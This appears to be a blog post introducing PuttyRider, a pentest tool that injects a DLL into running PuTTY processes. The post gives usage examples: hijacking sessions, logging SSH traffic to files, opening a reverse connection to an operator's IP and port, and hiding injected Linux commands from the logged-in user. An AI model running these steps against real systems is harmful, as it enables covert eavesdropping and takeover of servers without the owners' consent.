PuttyRider – Hijack Putty sessions in order to sniff conversation and inject Linux commands

PuttyRider injects a DLL into a running putty.exe process in order to sniff all communication and inject Linux commands on the remote server.
This can be useful in an internal penetration test when you already have access to a sysadmin’s machine who has a Putty session open to a Linux server. You can use PuttyRider to take control of the remote server using the existing SSH session.
The tool has been recently presented at Defcamp 2014 – a security conference in Romania.


Examples 
List existing Putty processes and their status (injected / not injected)

PuttyRider.exe -l

Inject DLL into the first found putty.exe and initiate a reverse connection from DLL to my IP:Port, then exit PuttyRider.exe.

PuttyRider.exe -p 0 -r 192.168.0.55:8080

Run in background and wait for new Putty processes. Inject in any new putty.exe and write all conversations in local files.

PuttyRider.exe -w -f

Eject PuttyRider.dll from all Putty processes where it is already injected. (Don’t forget to kill PuttyRider.exe if running in -w mode, otherwise it will reinject again.)

PuttyRider.exe -x

Usage

Operation modes:
-l List the running Putty processes and their connections
-w Inject in all existing Putty sessions and wait for new sessions
to inject in those also
-p PID Inject only in existing Putty session identified by PID.
If PID==0, inject in the first Putty found
-x Cleanup. Remove the DLL from all running Putty instances
-d Debug mode. Only works with -p mode
-c CMD Automatically execute a Linux command after successful injection
PuttyRider will remove trailing spaces and '&' character from CMD
PuttyRider will add: " 1>/dev/null 2>/dev/null &" to CMD
-h Print this help

Output modes:
-f Write all Putty conversation to a file in the local directory.
The filename will have the PID of current putty.exe appended
-r IP:PORT Initiate a reverse connection to the specified machine and
start an interactive session.

Interactive commands (after you receive a reverse connection):
!status See if the Putty window is connected to user input
!discon Disconnect the main Putty window so it won't display anything
This is useful to send commands without the user to notice
!recon Reconnect the Putty window to its normal operation mode
CMD Linux shell commands
!exit Terminate this connection
!help Display help for client connection

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s